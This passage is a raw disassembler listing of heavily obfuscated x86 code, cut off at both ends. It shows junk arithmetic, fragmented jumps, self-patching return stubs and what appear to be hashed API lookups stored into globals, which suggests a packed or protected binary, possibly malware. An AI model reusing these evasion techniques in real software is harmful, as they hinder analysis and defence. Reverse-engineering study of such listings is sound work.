END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753FCE loc_749E71: ; CODE XREF: sub_753FCE:loc_74C5E0j jnz loc_7526CC jmp loc_74B899 ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D7D4 loc_749E7C: ; CODE XREF: sub_74D7D4:loc_74D7E4j mov ebx, eax xchg ebx, [esp+4+var_4] push ebp push eax pop ebp push offset loc_7497E9 jmp loc_7552EB ; END OF FUNCTION CHUNK FOR sub_74D7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754DFF loc_749E8E: ; CODE XREF: sub_754DFF:loc_754936j mov ebp, ebx xchg ebp, [esp+0] pushf push 9A0113DCh call sub_74D4D3 loc_749E9E: ; CODE XREF: _0z4jwtox:00753970j jmp loc_754E0A ; END OF FUNCTION CHUNK FOR sub_754DFF ; --------------------------------------------------------------------------- sbb ebx, esi jmp sub_752BBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_749EAA: ; CODE XREF: sub_747736:loc_745B74j jge loc_752A41 cmp edx, edi jmp loc_74B740 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- and edx, 0C22D693Dh pop edi jmp sub_746A33 ; --------------------------------------------------------------------------- loc_749EC3: ; CODE XREF: _0z4jwtox:00749329j sub ebx, 0E0D080FDh ; =============== S U B R O U T I N E ======================================= sub_749EC9 proc near ; CODE XREF: _0z4jwtox:0074859Dp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007475A7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074838F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074C137 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075467F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00757146 SIZE 00000005 BYTES xchg ecx, [esp-4+arg_0] pop ecx mov eax, [esp+0] call sub_7577DE loc_749ED5: ; DATA XREF: sub_746BE0+9o call sub_75375E mov eax, 0FFB060E7h call sub_746E93 push esi push 0D7B2018Fh pop esi sub esi, 4D10B2D2h cmp esi, 210FDC63h jmp loc_7475A7 sub_749EC9 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_749EFD: ; CODE XREF: sub_74AE46+Bj jmp loc_754449 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457B3 loc_749F02: ; CODE XREF: sub_7457B3+Dj jmp loc_748FBC ; END OF FUNCTION CHUNK FOR sub_7457B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_749F07: ; CODE XREF: sub_7561AB:loc_74DB51j rol ebx, 19h cmp ebx, 59BB4C92h jmp loc_745D57 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E6F5 loc_749F15: ; CODE XREF: sub_74E6F5:loc_74E704j jnz loc_746C98 ; END OF FUNCTION CHUNK FOR sub_74E6F5 ; START OF FUNCTION CHUNK FOR sub_746C5E loc_749F1B: ; CODE XREF: sub_746C5E+3F83j jmp nullsub_162 ; END OF FUNCTION CHUNK FOR sub_746C5E ; --------------------------------------------------------------------------- js loc_74FDF5 or edx, 2803C9Ah jmp loc_746C98 ; --------------------------------------------------------------------------- loc_749F31: ; DATA XREF: sub_746C5E+Co or eax, eax jnz loc_754E7F jmp loc_749412 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_749F3E: ; CODE XREF: sub_74F73B+8119j jb loc_747ABE loc_749F44: ; CODE XREF: sub_74F73B:loc_75783Bj add eax, 2C1D37E4h push eax mov eax, edx xchg eax, [esp+34h+var_34] jmp loc_752EE3 ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- ror edi, 3 jmp sub_7543C5 ; --------------------------------------------------------------------------- loc_749F5D: ; CODE XREF: _0z4jwtox:loc_75511Cj mov eax, [esp] push edx call sub_754E36 push 1185F512h jmp loc_749C6F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_749F71: ; DATA XREF: sub_750715+492Co add edi, 0FEAFC289h xchg edi, [esp] jmp sub_746E93 ; --------------------------------------------------------------------------- mov [ebx], eax sbb ebx, esi jmp sub_74B21E ; =============== S U B R O U T I N E ======================================= sub_749F88 proc near ; CODE XREF: _0z4jwtox:0074B44Bj ; sub_752B45+Ap xchg ebx, [esp+0] pop ebx lea eax, nullsub_270 mov byte ptr [eax], 0C3h jmp nullsub_270 sub_749F88 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A47B loc_749F9A: ; CODE XREF: sub_74A47B:loc_75750Ej test byte ptr [ebp-8], 2 jz loc_7482D4 push ebp mov eax, [ebp-20h] jmp loc_752029 ; END OF FUNCTION CHUNK FOR sub_74A47B ; --------------------------------------------------------------------------- loc_749FAD: ; CODE XREF: _0z4jwtox:0074EEF5j and edx, 0B9762366h or edx, 0A5827A53h rol edx, 1Eh push offset loc_748D92 jmp loc_74E73E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474F5 loc_749FC6: ; CODE XREF: sub_7474F5+3DE0j ; sub_7450FC+FDC4j mov eax, [ebp-4] mov edx, [ebp-14h] add eax, [edx+20h] xor edx, edx push edx call sub_746CC3 ; END OF FUNCTION CHUNK FOR sub_7474F5 ; =============== S U B R O U T I N E ======================================= sub_749FD7 proc near ; CODE XREF: sub_74CF82-3BF1p ; _0z4jwtox:007535AEj ; FUNCTION CHUNK AT 0074A0D9 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h jmp loc_74A0D9 sub_749FD7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_749FE3 proc near ; CODE XREF: sub_41DB68+3Ep ; sub_41DB68+261p ... call sub_749FEE jmp ds:off_41F008 sub_749FE3 endp ; =============== S U B R O U T I N E ======================================= sub_749FEE proc near ; CODE XREF: sub_749FE3p ; sub_74BED4:loc_74E902j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007479F8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007515EC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00756CC7 SIZE 00000019 BYTES pop edx jmp loc_7479F8 sub_749FEE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_749FF4: ; CODE XREF: sub_74C670:loc_74FA46j add eax, ebp add eax, 0B8AD489h push ebx mov ebx, eax xchg ebx, [esp+0] push eax jmp loc_745A8D ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C98 loc_74A008: ; CODE XREF: _0z4jwtox:00746D53j ; sub_748C98+5294j ... sub eax, 761F1EDAh call sub_746556 loc_74A013: ; CODE XREF: _0z4jwtox:00752579j call sub_746E93 mov ds:dword_41F124, eax lea eax, nullsub_4 mov byte ptr [eax], 0C3h jmp nullsub_4 ; END OF FUNCTION CHUNK FOR sub_748C98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7509E0 loc_74A02C: ; CODE XREF: sub_7509E0+Aj rol eax, 1Dh xor eax, 0B17C25A4h loc_74A035: ; CODE XREF: sub_75364C:loc_747166j push offset sub_748DB7 jmp loc_74AF75 ; END OF FUNCTION CHUNK FOR sub_7509E0 ; --------------------------------------------------------------------------- popf jmp sub_74698F ; =============== S U B R O U T I N E ======================================= sub_74A045 proc near ; CODE XREF: _0z4jwtox:0074D477j ; sub_74FEAF+12C2p arg_0 = dword ptr 4 xchg ecx, [esp+0] pop ecx xchg eax, [esp-4+arg_0] jmp sub_746E93 sub_74A045 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74A051 proc near ; CODE XREF: sub_75043C:loc_7521CFp ; _0z4jwtox:00754AD9j xchg eax, [esp+0] pop eax mov eax, ebx pop ecx pop ebx retn sub_74A051 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_74A05A: ; CODE XREF: sub_74C2C9-3CDCj ; sub_74C2C9:loc_74FF99j mov eax, dword ptr ds:loc_74F377+1 mov al, [eax] jmp loc_746E17 ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; =============== S U B R O U T I N E ======================================= sub_74A066 proc near ; CODE XREF: sub_74FE55-546Ep ; sub_747290+F9F1j xchg eax, [esp+0] pop eax popf push offset sub_74ED83 jmp nullsub_42 sub_74A066 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop edx jmp sub_74FE55 ; =============== S U B R O U T I N E ======================================= sub_74A07B proc near ; CODE XREF: sub_74CBB7:loc_7452B8p ; _0z4jwtox:007505C6j xchg edx, [esp+0] pop edx add eax, 44CE12AFh call sub_74A47B loc_74A08A: ; CODE XREF: sub_75100C-3098j jmp sub_754A3D sub_74A07B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747290 loc_74A08F: ; CODE XREF: sub_747290+4EBBj jmp loc_74D1D7 ; END OF FUNCTION CHUNK FOR sub_747290 ; =============== S U B R O U T I N E ======================================= sub_74A094 proc near ; CODE XREF: sub_7501AF-A958p ; _0z4jwtox:0074B380j ; FUNCTION CHUNK AT 0074E4CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E7CB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00751F10 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752D0B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00754D40 SIZE 00000017 BYTES xchg edx, [esp+0] pop edx mov byte ptr [eax], 0 inc dword ptr [ebp-1Ch] jmp loc_754D40 sub_74A094 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74A0A3: ; CODE XREF: sub_7501AF-EF0j inc dword ptr [ebp-1Ch] jmp loc_74B3B8 ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- loc_74A0AB: ; DATA XREF: sub_74A4B0-836o mov byte ptr [eax], 0C3h jmp sub_75676B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A4B0 loc_74A0B3: ; CODE XREF: sub_74A4B0+5j mov eax, [esp+0] push ebp push edx jmp loc_7545C1 ; END OF FUNCTION CHUNK FOR sub_74A4B0 ; =============== S U B R O U T I N E ======================================= sub_74A0BD proc near ; CODE XREF: _0z4jwtox:007533EAp ; _0z4jwtox:00754A5Bj ; FUNCTION CHUNK AT 0074CF68 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074E841 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add ecx, 8EA1774h mov [ecx], eax jmp loc_74CF68 sub_74A0BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp ds:off_41F06C ; --------------------------------------------------------------------------- loc_74A0D4: ; CODE XREF: _0z4jwtox:00753EE3j jmp loc_74CD1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749FD7 loc_74A0D9: ; CODE XREF: sub_749FD7+7j jmp sub_74CF82 ; END OF FUNCTION CHUNK FOR sub_749FD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_74A0DE: ; CODE XREF: sub_74D23E+2D36j ; sub_747109:loc_753111j ... jnb loc_756866 pop edx mov eax, [esp+4+var_4] push ebx mov ebx, edx jmp loc_750C5C ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_74A0F0: ; CODE XREF: sub_750638+3DCFj jnz loc_755314 jmp loc_755F3D ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3EB loc_74A0FB: ; CODE XREF: sub_74C3EB+AB82j pushf jmp loc_745532 ; END OF FUNCTION CHUNK FOR sub_74C3EB ; --------------------------------------------------------------------------- jnz loc_7560C9 jmp loc_74C4B9 ; --------------------------------------------------------------------------- loc_74A10C: ; DATA XREF: _0z4jwtox:007461E2o mov eax, [esp] push edx push esi push 0A7BD633Dh jmp loc_74A14D ; --------------------------------------------------------------------------- loc_74A11B: ; CODE XREF: _0z4jwtox:00750347j pop eax rol eax, 0Fh add eax, 0F2547924h xchg eax, [esp] jmp loc_745353 ; --------------------------------------------------------------------------- mov eax, 0D504D785h call sub_746E93 mov ds:dword_41F128, eax jmp loc_754BBE ; --------------------------------------------------------------------------- jo loc_7484A2 jmp loc_756A7B ; --------------------------------------------------------------------------- loc_74A14D: ; CODE XREF: _0z4jwtox:0074A116j pop esi xor esi, 0C0CD42BCh add esi, 0A0F7D48Fh rol esi, 14h add esi, 9F746B11h xchg esi, [esp] jmp loc_74B709 ; --------------------------------------------------------------------------- loc_74A16B: ; DATA XREF: sub_7490F6+7B97o add eax, ebp add eax, 0BFC09059h push offset sub_75216C jmp loc_74BD48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750291 loc_74A17D: ; CODE XREF: sub_750291-441Aj push 33E8087h pop eax rol eax, 10h cmp eax, 0EACF39CDh jmp loc_74C407 ; END OF FUNCTION CHUNK FOR sub_750291 ; --------------------------------------------------------------------------- loc_74A191: ; CODE XREF: _0z4jwtox:0075347Dj mov eax, [esp] push ecx mov ecx, edx xchg ecx, [esp] call sub_74FACE mov eax, 0CE6B079Ah push esi jmp loc_754D57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_74A1AA: ; CODE XREF: sub_746640+EBDDj mov ebx, eax xchg ebx, [esp+0] mov eax, [ebp-1Ch] shl eax, 2 cdq add eax, [esp+0] jmp loc_755E1D ; END OF FUNCTION CHUNK FOR sub_746640 ; =============== S U B R O U T I N E ======================================= sub_74A1BE proc near ; DATA XREF: sub_747A67:loc_753140o ; FUNCTION CHUNK AT 0074FFD0 SIZE 00000008 BYTES add esi, 492C4DD0h mov [esi], eax pop esi lea eax, loc_75078A jmp loc_74FFD0 sub_74A1BE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752737 loc_74A1D2: ; CODE XREF: sub_752737+Cj jnz loc_746B4D jmp loc_7575A7 ; END OF FUNCTION CHUNK FOR sub_752737 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ECEF loc_74A1DD: ; CODE XREF: sub_74ECEF:loc_75235Fj jnz loc_74E78D or ecx, 0B52C83AEh sbb edx, 2F97C0CEh rol edi, 1Ch mov ebx, 0BD1E2D9Ah jmp loc_74E78A ; END OF FUNCTION CHUNK FOR sub_74ECEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749161 loc_74A1FC: ; CODE XREF: sub_749161:loc_75574Ej call sub_75364C mov eax, 4A031E23h call sub_746E93 push edi xor edi, 62100F72h jmp loc_75150D ; END OF FUNCTION CHUNK FOR sub_749161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AC6D loc_74A217: ; CODE XREF: sub_74AC6D+2EAj pop ebp add eax, 0A605F61Ch rol eax, 0Ah or eax, 57F8A40Bh push offset sub_74BD89 jmp nullsub_46 ; END OF FUNCTION CHUNK FOR sub_74AC6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457DD loc_74A231: ; CODE XREF: sub_7457DD+Aj mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_750C69 jmp loc_74BA24 ; END OF FUNCTION CHUNK FOR sub_7457DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_74A242: ; CODE XREF: sub_74D23E+38FBj pop ebp test ecx, edx jmp loc_74FF5D ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- loc_74A24A: ; CODE XREF: _0z4jwtox:007533F1j jp loc_75274F ; =============== S U B R O U T I N E ======================================= sub_74A250 proc near ; CODE XREF: sub_74C733-5992p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074544D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752933 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00754895 SIZE 00000008 BYTES xchg eax, [esp+0] pop eax push eax mov eax, edx jmp loc_752933 sub_74A250 endp ; =============== S U B R O U T I N E ======================================= sub_74A25C proc near ; DATA XREF: sub_747A67+4F51o ; FUNCTION CHUNK AT 00745084 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074E65C SIZE 00000005 BYTES push edx nop mov eax, 6FDE1A91h call sub_746E93 mov ds:off_41F17C, eax lea eax, sub_747A67 jmp loc_745084 sub_74A25C endp ; =============== S U B R O U T I N E ======================================= sub_74A279 proc near ; CODE XREF: sub_7514BF:loc_75144Fp ; _0z4jwtox:00754355j xchg ecx, [esp+0] pop ecx mov eax, [ebp-8] pop ecx pop ecx pop ebp retn sub_74A279 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754E36 loc_74A284: ; CODE XREF: sub_754E36:loc_754E3Cj jmp loc_74B9C0 ; END OF FUNCTION CHUNK FOR sub_754E36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749184 loc_74A289: ; CODE XREF: sub_749184+11j jmp loc_746DAC ; END OF FUNCTION CHUNK FOR sub_749184 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745FE5 loc_74A28E: ; CODE XREF: sub_745FE5+Dj jmp loc_74F00B ; END OF FUNCTION CHUNK FOR sub_745FE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748498 loc_74A293: ; CODE XREF: sub_748498+17j xchg ebx, [esp-8+arg_4] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_748498 ; --------------------------------------------------------------------------- xor ebp, edx jmp sub_74F615 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B52 loc_74A2A2: ; CODE XREF: sub_748B52:loc_7494ECj ; sub_748B52+DB66j push 19F4D51Ah pop eax sub eax, 751D40C3h or eax, 11D3A7A4h and eax, 0CA7F697Bh jmp loc_74583E ; END OF FUNCTION CHUNK FOR sub_748B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A4A loc_74A2BF: ; CODE XREF: sub_747A4A+Dj xor ebx, 0CC026ACh or ebx, 2714E2CEh add ebx, 81205F51h xchg ebx, [esp+4+var_4] jmp sub_74DAAF ; END OF FUNCTION CHUNK FOR sub_747A4A ; =============== S U B R O U T I N E ======================================= sub_74A2D9 proc near ; DATA XREF: sub_7571A1:loc_74A833o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007550F8 SIZE 00000006 BYTES push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call eax mov [ebp-4], eax loc_74A2E7: ; CODE XREF: sub_746F7A+18j ; sub_7465D2:loc_74B941j ... mov eax, [ebp-4] pop ecx xchg eax, [esp+4+var_4] jmp loc_7550F8 sub_74A2D9 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74A2F4: ; CODE XREF: _0z4jwtox:00747902j jmp loc_74ADD2 ; --------------------------------------------------------------------------- loc_74A2F9: ; DATA XREF: sub_749BBA-32FBo cmp byte ptr [eax], 0F1h jnz loc_746C22 jmp loc_7549AD ; --------------------------------------------------------------------------- or esi, 4C4D4F9Fh jmp sub_74DFF3 ; --------------------------------------------------------------------------- loc_74A312: ; DATA XREF: sub_7473E6:loc_747AFEo push 0DC657EA2h pop eax sub eax, 0A966F243h xor eax, 91E56A0Bh or eax, 0BC79D4C2h add eax, 0C10A0BB4h jmp loc_7511B7 ; --------------------------------------------------------------------------- test esi, ebx jmp loc_75642F ; --------------------------------------------------------------------------- loc_74A33C: ; CODE XREF: _0z4jwtox:00748597j mov eax, [esp] push edi call sub_746BE0 loc_74A345: ; CODE XREF: _0z4jwtox:00751533j jmp loc_750766 ; --------------------------------------------------------------------------- loc_74A34A: ; CODE XREF: _0z4jwtox:00745D97j xchg esi, [esp] jmp loc_74E9F0 ; --------------------------------------------------------------------------- jz loc_75150D jmp sub_754CBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_74A35D: ; CODE XREF: sub_7541BA+DFCj cmp ecx, edi jmp loc_74E927 ; END OF FUNCTION CHUNK FOR sub_7541BA ; --------------------------------------------------------------------------- shl esi, 7 jl loc_747677 jmp sub_754949 ; =============== S U B R O U T I N E ======================================= sub_74A372 proc near ; CODE XREF: _0z4jwtox:007459A5j ; sub_74DAAF+131Ep ; FUNCTION CHUNK AT 00747472 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750D5C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00754B7C SIZE 00000018 BYTES xchg edx, [esp+0] pop edx mov [ebp-4], eax call sub_748B44 loc_74A37E: ; CODE XREF: sub_7461EF+8j jmp loc_754B7C sub_74A372 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_74A383: ; CODE XREF: sub_74BD6F+ED0j jge loc_748431 ror ecx, 0Ah jmp loc_74842E ; END OF FUNCTION CHUNK FOR sub_74BD6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75609F loc_74A391: ; CODE XREF: sub_75609F-7B16j mov edx, edi jmp loc_74CD72 ; END OF FUNCTION CHUNK FOR sub_75609F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7572F3 loc_74A398: ; CODE XREF: sub_7572F3-1812j jnz loc_750BB1 ; END OF FUNCTION CHUNK FOR sub_7572F3 ; START OF FUNCTION CHUNK FOR sub_7452F3 loc_74A39E: ; CODE XREF: sub_7452F3+5F8j ; sub_74E685:loc_74603Ej ... jmp loc_745F3A ; --------------------------------------------------------------------------- loc_74A3A3: ; CODE XREF: sub_74E685-810Bj ; sub_7452F3+A159j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_7452F3 ; --------------------------------------------------------------------------- loc_74A3A6: ; CODE XREF: _0z4jwtox:007551F1j jmp loc_74BCEC ; =============== S U B R O U T I N E ======================================= sub_74A3AB proc near ; CODE XREF: sub_7514AC:loc_749DE7j ; sub_754C68-93F8p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00747A13 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074964B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00749A0D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074BFC7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074C7B7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074E51F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00753009 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075489D SIZE 00000022 BYTES ; FUNCTION CHUNK AT 007560E3 SIZE 0000001A BYTES push ecx jmp loc_7560E3 sub_74A3AB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74A3B1: ; CODE XREF: sub_74FE55-3CB1j jl loc_74C086 jz loc_74E2E9 xchg ebx, edi jle loc_752C3F sub edx, 33B08B98h jmp loc_750861 ; --------------------------------------------------------------------------- loc_74A3D0: ; CODE XREF: sub_74FE55+5CB7j sub al, 99h jmp loc_7490AA ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757151 loc_74A3D7: ; CODE XREF: sub_757151-BDB0j popf xchg edx, [esp-4+arg_0] jmp loc_748AF3 ; END OF FUNCTION CHUNK FOR sub_757151 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_74A3E0: ; CODE XREF: sub_74CBCF+12j jz loc_74B46B jmp loc_752755 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7468F2 loc_74A3EB: ; CODE XREF: sub_7468F2:loc_74C281j add [ebp-0Ah], al xor eax, eax call sub_754C3F loc_74A3F5: ; CODE XREF: sub_752969+Dj jmp loc_74965F ; END OF FUNCTION CHUNK FOR sub_7468F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F15D loc_74A3FA: ; CODE XREF: sub_74F15D+Ej push edx call sub_74721B mov eax, 350D36C3h push ebp mov ebp, ebx xchg ebp, [esp+8+var_8] push 43D7C2B0h pop ebx jmp loc_74991A ; END OF FUNCTION CHUNK FOR sub_74F15D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753116 loc_74A416: ; CODE XREF: sub_753116+1j push 0 call sub_75143A push eax push eax push 0A1A61118h pop eax rol eax, 8 xor eax, 50DD5FF4h jmp loc_751097 ; END OF FUNCTION CHUNK FOR sub_753116 ; --------------------------------------------------------------------------- xor edx, edi xchg eax, ecx jmp sub_74CBE6 ; --------------------------------------------------------------------------- loc_74A43C: ; DATA XREF: sub_755892:loc_74B1B5o add dword ptr [ebp-8], 2 jmp loc_7558A2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_74A445 proc near ; CODE XREF: sub_745FE5+4p ; sub_7539AE+7p var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_74CBE6 loc_74A456: ; CODE XREF: sub_753538+251Dj jmp sub_7562D5 sub_74A445 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C3B loc_74A45B: ; CODE XREF: sub_748C3B+Bj jmp loc_74D43B ; END OF FUNCTION CHUNK FOR sub_748C3B ; --------------------------------------------------------------------------- cdq cmp eax, 124DE8FCh jmp loc_74BAC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754B1B loc_74A46C: ; CODE XREF: sub_754B1B:loc_748DADj call sub_752B45 ; END OF FUNCTION CHUNK FOR sub_754B1B ; START OF FUNCTION CHUNK FOR sub_754C68 loc_74A471: ; CODE XREF: sub_754C68+15j jmp loc_74B84E ; END OF FUNCTION CHUNK FOR sub_754C68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74A476: ; CODE XREF: sub_747C22+60C8j jmp loc_747176 ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_74A47B proc near ; CODE XREF: _0z4jwtox:00747BB8j ; sub_74A07B+Ap var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00749F9A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0075068A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00752029 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007574FC SIZE 00000017 BYTES xchg eax, [esp+0] pop eax push ebx pushf push 0ED8A1EFEh xchg eax, [esp+0] jmp loc_7574FC sub_74A47B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74A48E: ; CODE XREF: sub_7543C5-C5C6j jge loc_74FE71 loc_74A494: ; CODE XREF: sub_74CA1D-5095j jmp loc_750161 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- sbb ebp, 90F820C2h sbb edi, 0D1CFD864h jmp loc_74FE70 ; --------------------------------------------------------------------------- loc_74A4AA: ; CODE XREF: _0z4jwtox:0074E16Bj jns loc_7497D6 ; =============== S U B R O U T I N E ======================================= sub_74A4B0 proc near ; CODE XREF: sub_75676Bp ; FUNCTION CHUNK AT 0074510B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00749C74 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074A0B3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074C569 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0075014D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00750357 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007545C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756491 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi pop edx jnz loc_74A0B3 mov eax, [esp+0] jmp loc_74C569 sub_74A4B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_74A4C3: ; CODE XREF: _0z4jwtox:00745072j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747546 loc_74A4C4: ; CODE XREF: sub_747546+16j jmp loc_754800 ; END OF FUNCTION CHUNK FOR sub_747546 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7570CA loc_74A4C9: ; CODE XREF: sub_7570CA:loc_74B9E5j ; _0z4jwtox:0074B9FDj or eax, 9190C49Dh rol eax, 0Ah jb loc_74D714 loc_74A4D8: ; CODE XREF: sub_749487+18j jmp loc_7458A6 ; END OF FUNCTION CHUNK FOR sub_7570CA ; --------------------------------------------------------------------------- pushf jmp loc_74D70E ; --------------------------------------------------------------------------- loc_74A4E3: ; DATA XREF: 